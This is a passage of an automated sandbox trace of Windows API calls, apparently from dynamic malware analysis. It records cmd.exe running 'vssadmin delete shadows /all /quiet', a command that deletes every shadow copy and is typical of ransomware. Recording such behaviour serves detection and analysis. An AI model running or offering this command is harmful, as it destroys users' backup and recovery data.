lpcbData=0x32ed48*=0x1000 | out: lpType=0x32ed4c*=0x4, lpData=0x32ed50*=0x0, lpcbData=0x32ed48*=0x4) returned 0x0 [0037.989] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x32ed4c, lpData=0x32ed50, lpcbData=0x32ed48*=0x1000 | out: lpType=0x32ed4c*=0x4, lpData=0x32ed50*=0x9, lpcbData=0x32ed48*=0x4) returned 0x0 [0037.989] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x32ed4c, lpData=0x32ed50, lpcbData=0x32ed48*=0x1000 | out: lpType=0x32ed4c*=0x4, lpData=0x32ed50*=0x9, lpcbData=0x32ed48*=0x4) returned 0x0 [0037.989] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x32ed4c, lpData=0x32ed50, lpcbData=0x32ed48*=0x1000 | out: lpType=0x32ed4c*=0x0, lpData=0x32ed50*=0x9, lpcbData=0x32ed48*=0x1000) returned 0x2 [0037.989] RegCloseKey (hKey=0x68) returned 0x0 [0037.989] time (in: timer=0x0 | out: timer=0x0) returned 0x5e423e1c [0037.989] srand (_Seed=0x5e423e1c) [0037.989] GetCommandLineW () returned="cmd.exe /c vssadmin delete shadows /all /quiet" [0037.989] GetCommandLineW () returned="cmd.exe /c vssadmin delete shadows /all /quiet" [0037.990] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a865260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0037.990] GetProcessHeap () returned 0x370000 [0037.990] RtlAllocateHeap (HeapHandle=0x370000, Flags=0x8, Size=0x210) returned 0x382018 [0037.990] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x382020, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b [0037.990] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a870640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0037.990] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a870640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0037.990] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a870640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0037.990] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0037.990] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0037.990] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0037.990] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0037.990] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0037.990] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0037.990] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0037.990] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0037.990] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0037.990] GetProcessHeap () returned 0x370000 [0037.990] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x382af0 | out: hHeap=0x370000) returned 1 [0037.990] GetEnvironmentStringsW () returned 0x382230* [0037.990] GetProcessHeap () returned 0x370000 [0037.990] RtlAllocateHeap (HeapHandle=0x370000, Flags=0x8, Size=0xae2) returned 0x384b90 [0037.991] FreeEnvironmentStringsW (penv=0x382230) returned 1 [0037.991] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a870640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0037.991] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a870640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0037.991] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0037.991] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0037.991] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0037.991] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0037.991] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0037.991] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0037.991] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0037.991] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0037.991] GetProcessHeap () returned 0x370000 [0037.991] RtlAllocateHeap (HeapHandle=0x370000, Flags=0x8, Size=0x54) returned 0x385680 [0037.991] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x32fb10 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0037.991] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x32fb10, lpFilePart=0x32fb0c | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x32fb0c*="Desktop") returned 0x25 [0037.991] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0037.991] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x32f88c | out: lpFindFileData=0x32f88c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x381e98 [0037.991] FindClose (in: hFindFile=0x381e98 | out: hFindFile=0x381e98) returned 1 [0037.991] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x32f88c | out: lpFindFileData=0x32f88c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x381e98 [0037.992] FindClose (in: hFindFile=0x381e98 | out: hFindFile=0x381e98) returned 1 [0037.992] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0037.992] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x32f88c | out: lpFindFileData=0x32f88c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa5885400, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xa5885400, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x381e98 [0037.992] FindClose (in: hFindFile=0x381e98 | out: hFindFile=0x381e98) returned 1 [0037.992] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0037.992] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0037.992] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0037.992] GetProcessHeap () returned 0x370000 [0037.992] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x384b90 | out: hHeap=0x370000) returned 1 [0037.992] GetEnvironmentStringsW () returned 0x3840a0* [0037.992] GetProcessHeap () returned 0x370000 [0037.992] RtlAllocateHeap (HeapHandle=0x370000, Flags=0x8, Size=0xb36) returned 0x385ee0 [0037.992] FreeEnvironmentStringsW (penv=0x3840a0) returned 1 [0037.992] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a865260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0037.992] GetProcessHeap () returned 0x370000 [0037.992] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x385680 | out: hHeap=0x370000) returned 1 [0037.992] GetProcessHeap () returned 0x370000 [0037.992] RtlAllocateHeap (HeapHandle=0x370000, Flags=0x8, Size=0x400e) returned 0x386a20 [0037.993] GetProcessHeap () returned 0x370000 [0037.993] RtlAllocateHeap (HeapHandle=0x370000, Flags=0x8, Size=0x54) returned 0x382d70 [0037.993] GetProcessHeap () returned 0x370000 [0037.993] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x386a20 | out: hHeap=0x370000) returned 1 [0037.993] GetConsoleOutputCP () returned 0x1b5 [0038.760] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a864260 | out: lpCPInfo=0x4a864260) returned 1 [0038.760] GetUserDefaultLCID () returned 0x409 [0038.761] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a864950, cchData=8 | out: lpLCData=":") returned 2 [0038.761] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x32fc50, cchData=128 | out: lpLCData="0") returned 2 [0038.761] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x32fc50, cchData=128 | out: lpLCData="0") returned 2 [0038.761] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x32fc50, cchData=128 | out: lpLCData="1") returned 2 [0038.761] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a864940, cchData=8 | out: lpLCData="/") returned 2 [0038.761] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a864d80, cchData=32 | out: lpLCData="Mon") returned 4 [0038.762] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a864d40, cchData=32 | out: lpLCData="Tue") returned 4 [0038.762] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a864d00, cchData=32 | out: lpLCData="Wed") returned 4 [0038.762] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a864cc0, cchData=32 | out: lpLCData="Thu") returned 4 [0038.762] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a864c80, cchData=32 | out: lpLCData="Fri") returned 4 [0038.762] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a864c40, cchData=32 | out: lpLCData="Sat") returned 4 [0038.762] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a864c00, cchData=32 | out: lpLCData="Sun") returned 4 [0038.762] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a864930, cchData=8 | out: lpLCData=".") returned 2 [0038.762] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a864920, cchData=8 | out: lpLCData=",") returned 2 [0038.762] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0038.763] GetProcessHeap () returned 0x370000 [0038.763] RtlAllocateHeap (HeapHandle=0x370000, Flags=0x0, Size=0x20c) returned 0x382dd0 [0038.763] GetConsoleTitleW (in: lpConsoleTitle=0x382dd0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0038.764] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e10000 [0038.764] GetProcAddress (hModule=0x76e10000, lpProcName="CopyFileExW") returned 0x76e43b92 [0038.764] GetProcAddress (hModule=0x76e10000, lpProcName="IsDebuggerPresent") returned 0x76e24a5d [0038.764] GetProcAddress (hModule=0x76e10000, lpProcName="SetConsoleInputExeNameW") returned 0x76e3a79d [0038.764] GetProcessHeap () returned 0x370000 [0038.764] RtlAllocateHeap (HeapHandle=0x370000, Flags=0x8, Size=0x400a) returned 0x386a20 [0038.765] GetProcessHeap () returned 0x370000 [0038.765] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x386a20 | out: hHeap=0x370000) returned 1 [0038.765] _wcsicmp (_String1="vssadmin", _String2=")") returned 77 [0038.765] _wcsicmp (_String1="FOR", _String2="vssadmin") returned -16 [0038.765] _wcsicmp (_String1="FOR/?", _String2="vssadmin") returned -16 [0038.765] _wcsicmp (_String1="IF", _String2="vssadmin") returned -13 [0038.765] _wcsicmp (_String1="IF/?", _String2="vssadmin") returned -13 [0038.765] _wcsicmp (_String1="REM", _String2="vssadmin") returned -4 [0038.765] _wcsicmp (_String1="REM/?", _String2="vssadmin") returned -4 [0038.765] GetProcessHeap () returned 0x370000 [0038.765] RtlAllocateHeap (HeapHandle=0x370000, Flags=0x8, Size=0x58) returned 0x382fe8 [0038.765] GetProcessHeap () returned 0x370000 [0038.765] RtlAllocateHeap (HeapHandle=0x370000, Flags=0x8, Size=0x1a) returned 0x385720 [0038.766] GetProcessHeap () returned 0x370000 [0038.766] RtlAllocateHeap (HeapHandle=0x370000, Flags=0x8, Size=0x40) returned 0x383048 [0038.767] GetConsoleTitleW (in: lpConsoleTitle=0x32f948, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0038.767] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18 [0038.767] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17 [0038.767] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18 [0038.767] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2 [0038.768] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19 [0038.768] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19 [0038.768] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19 [0038.768] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4 [0038.768] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4 [0038.768] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17 [0038.768] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3 [0038.768] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6 [0038.768] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18 [0038.768] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2 [0038.768] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6 [0038.768] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9 [0038.768] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9 [0038.768] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4 [0038.768] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4 [0038.768] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6 [0038.768] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15 [0038.768] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3 [0038.768] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19 [0038.768] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19 [0038.768] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14 [0038.768] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14 [0038.768] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4 [0038.768] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17 [0038.768] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3 [0038.768] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17 [0038.768] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2 [0038.768] _wcsicmp (_String1="vssadmin", _String2="START") returned 3 [0038.768] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18 [0038.768] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11 [0038.768] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9 [0038.768] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6 [0038.768] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6 [0038.768] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21 [0038.768] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16 [0038.768] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20 [0038.768] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19 [0038.769] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9 [0038.769] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18 [0038.769] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17 [0038.769] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18 [0038.769] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2 [0038.769] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19 [0038.769] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19 [0038.769] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19 [0038.769] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4 [0038.769] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4 [0038.769] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17 [0038.769] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3 [0038.769] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6 [0038.769] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18 [0038.769] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2 [0038.769] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6 [0038.769] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9 [0038.769] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9 [0038.769] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4 [0038.769] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4 [0038.769] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6 [0038.769] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15 [0038.769] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3 [0038.769] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19 [0038.769] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19 [0038.769] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14 [0038.769] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14 [0038.769] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4 [0038.769] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17 [0038.769] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3 [0038.769] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17 [0038.769] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2 [0038.769] _wcsicmp (_String1="vssadmin", _String2="START") returned 3 [0038.769] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18 [0038.769] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11 [0038.770] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9 [0038.770] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6 [0038.770] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6 [0038.770] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21 [0038.770] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16 [0038.770] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20 [0038.770] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19 [0038.770] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9 [0038.770] _wcsicmp (_String1="vssadmin", _String2="FOR") returned 16 [0038.770] _wcsicmp (_String1="vssadmin", _String2="IF") returned 13 [0038.770] _wcsicmp (_String1="vssadmin", _String2="REM") returned 4 [0038.770] GetProcessHeap () returned 0x370000 [0038.770] RtlAllocateHeap (HeapHandle=0x370000, Flags=0x8, Size=0x210) returned 0x383090 [0038.770] GetProcessHeap () returned 0x370000 [0038.770] RtlAllocateHeap (HeapHandle=0x370000, Flags=0x8, Size=0x52) returned 0x3832a8 [0038.770] _wcsnicmp (_String1="vssa", _String2="cmd ", _MaxCount=0x4) returned 19 [0038.770] GetProcessHeap () returned 0x370000 [0038.771] RtlAllocateHeap (HeapHandle=0x370000, Flags=0x8, Size=0x418) returned 0x3707f0 [0038.771] SetErrorMode (uMode=0x0) returned 0x0 [0038.771] SetErrorMode (uMode=0x1) returned 0x0 [0038.771] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x3707f8, lpFilePart=0x32f468 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x32f468*="Desktop") returned 0x25 [0038.771] SetErrorMode (uMode=0x0) returned 0x1 [0038.771] GetProcessHeap () returned 0x370000 [0038.771] RtlReAllocateHeap (Heap=0x370000, Flags=0x0, Ptr=0x3707f0, Size=0x66) returned 0x3707f0 [0038.771] GetProcessHeap () returned 0x370000 [0038.771] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x3707f0) returned 0x66 [0038.771] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a870640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0038.771] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0038.771] GetProcessHeap () returned 0x370000 [0038.771] RtlAllocateHeap (HeapHandle=0x370000, Flags=0x8, Size=0x120) returned 0x383308 [0038.771] GetProcessHeap () returned 0x370000 [0038.771] RtlAllocateHeap (HeapHandle=0x370000, Flags=0x8, Size=0x238) returned 0x370860 [0038.777] RtlReAllocateHeap (Heap=0x370000, Flags=0x0, Ptr=0x370860, Size=0x122) returned 0x370860 [0038.777] GetProcessHeap () returned 0x370000 [0038.777] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x370860) returned 0x122 [0038.777] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a870640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0038.777] GetProcessHeap () returned 0x370000 [0038.777] RtlAllocateHeap (HeapHandle=0x370000, Flags=0x8, Size=0xe0) returned 0x383430 [0038.777] RtlReAllocateHeap (Heap=0x370000, Flags=0x0, Ptr=0x383430, Size=0x76) returned 0x383430 [0038.777] GetProcessHeap () returned 0x370000 [0038.777] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x383430) returned 0x76 [0038.778] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x32f1e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x32f1e4) returned 0xffffffff [0038.778] GetLastError () returned 0x2 [0038.778] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vssadmin", fInfoLevelId=0x1, lpFindFileData=0x32f1e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x32f1e4) returned 0xffffffff [0038.778] GetLastError () returned 0x2 [0038.778] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x32f1e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x32f1e4) returned 0x3834b0 [0038.778] GetProcessHeap () returned 0x370000 [0038.778] RtlAllocateHeap (HeapHandle=0x370000, Flags=0x0, Size=0x14) returned 0x3834f0 [0038.778] FindClose (in: hFindFile=0x3834b0 | out: hFindFile=0x3834b0) returned 1 [0038.778] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.COM", fInfoLevelId=0x1, lpFindFileData=0x32f1e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x32f1e4) returned 0xffffffff [0038.779] GetLastError () returned 0x2 [0038.779] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.EXE", fInfoLevelId=0x1, lpFindFileData=0x32f1e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x32f1e4) returned 0x3834b0 [0038.779] GetProcessHeap () returned 0x370000 [0038.779] RtlReAllocateHeap (Heap=0x370000, Flags=0x0, Ptr=0x3834f0, Size=0x4) returned 0x3834f0 [0038.779] FindClose (in: hFindFile=0x3834b0 | out: hFindFile=0x3834b0) returned 1 [0038.779] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0038.779] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0038.779] GetConsoleTitleW (in: lpConsoleTitle=0x32f6dc, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0038.779] InitializeProcThreadAttributeList (in: lpAttributeList=0x32f564, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x32f62c | out: lpAttributeList=0x32f564, lpSize=0x32f62c) returned 1 [0038.779] UpdateProcThreadAttribute (in: lpAttributeList=0x32f564, dwFlags=0x0, Attribute=0x60001, lpValue=0x32f624, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x32f564, lpPreviousValue=0x0) returned 1 [0038.779] GetStartupInfoW (in: lpStartupInfo=0x32f520 | out: lpStartupInfo=0x32f520*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0039.850] CloseHandle (hObject=0x74) returned 1 [0039.850] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0039.850] GetProcessHeap () returned 0x370000 [0039.850] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x385ee0 | out: hHeap=0x370000) returned 1 [0039.850] GetEnvironmentStringsW () returned 0x385ee0* [0039.851] GetProcessHeap () returned 0x370000 [0039.851] RtlAllocateHeap (HeapHandle=0x370000, Flags=0x8, Size=0xb36) returned 0x3840a0 [0039.851] FreeEnvironmentStringsW (penv=0x385ee0) returned 1 [0039.851] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0 [0051.859] GetExitCodeProcess (in: hProcess=0x78, lpExitCode=0x32f500 | out: lpExitCode=0x32f500*=0x2) returned 1 [0051.859] CloseHandle (hObject=0x78) returned 1 [0051.859] _vsnwprintf (in: _Buffer=0x32f648, _BufferCount=0x13, _Format="%08X", _ArgList=0x32f50c | out: _Buffer="00000002") returned 8 [0051.859] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000002") returned 1 [0051.859] GetProcessHeap () returned 0x370000 [0051.859] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x3840a0 | out: hHeap=0x370000) returned 1 [0051.859] GetEnvironmentStringsW () returned 0x3840a0* [0051.859] GetProcessHeap () returned 0x370000 [0051.860] RtlAllocateHeap (HeapHandle=0x370000, Flags=0x8, Size=0xb5c) returned 0x389588 [0051.860] FreeEnvironmentStringsW (penv=0x3840a0) returned 1 [0051.860] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0051.860] GetProcessHeap () returned 0x370000 [0051.860] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x389588 | out: hHeap=0x370000) returned 1 [0051.860] GetEnvironmentStringsW () returned 0x3840a0* [0051.860] GetProcessHeap () returned 0x370000 [0051.860] RtlAllocateHeap (HeapHandle=0x370000, Flags=0x8, Size=0xb5c) returned 0x389588 [0051.860] FreeEnvironmentStringsW (penv=0x3840a0) returned 1 [0051.860] GetProcessHeap () returned 0x370000 [0051.860] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x37fef0 | out: hHeap=0x370000) returned 1 [0051.860] DeleteProcThreadAttributeList (in: lpAttributeList=0x32f564 | out: lpAttributeList=0x32f564) [0051.860] _get_osfhandle (_FileHandle=1) returned 0x7 [0051.860] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0051.860] 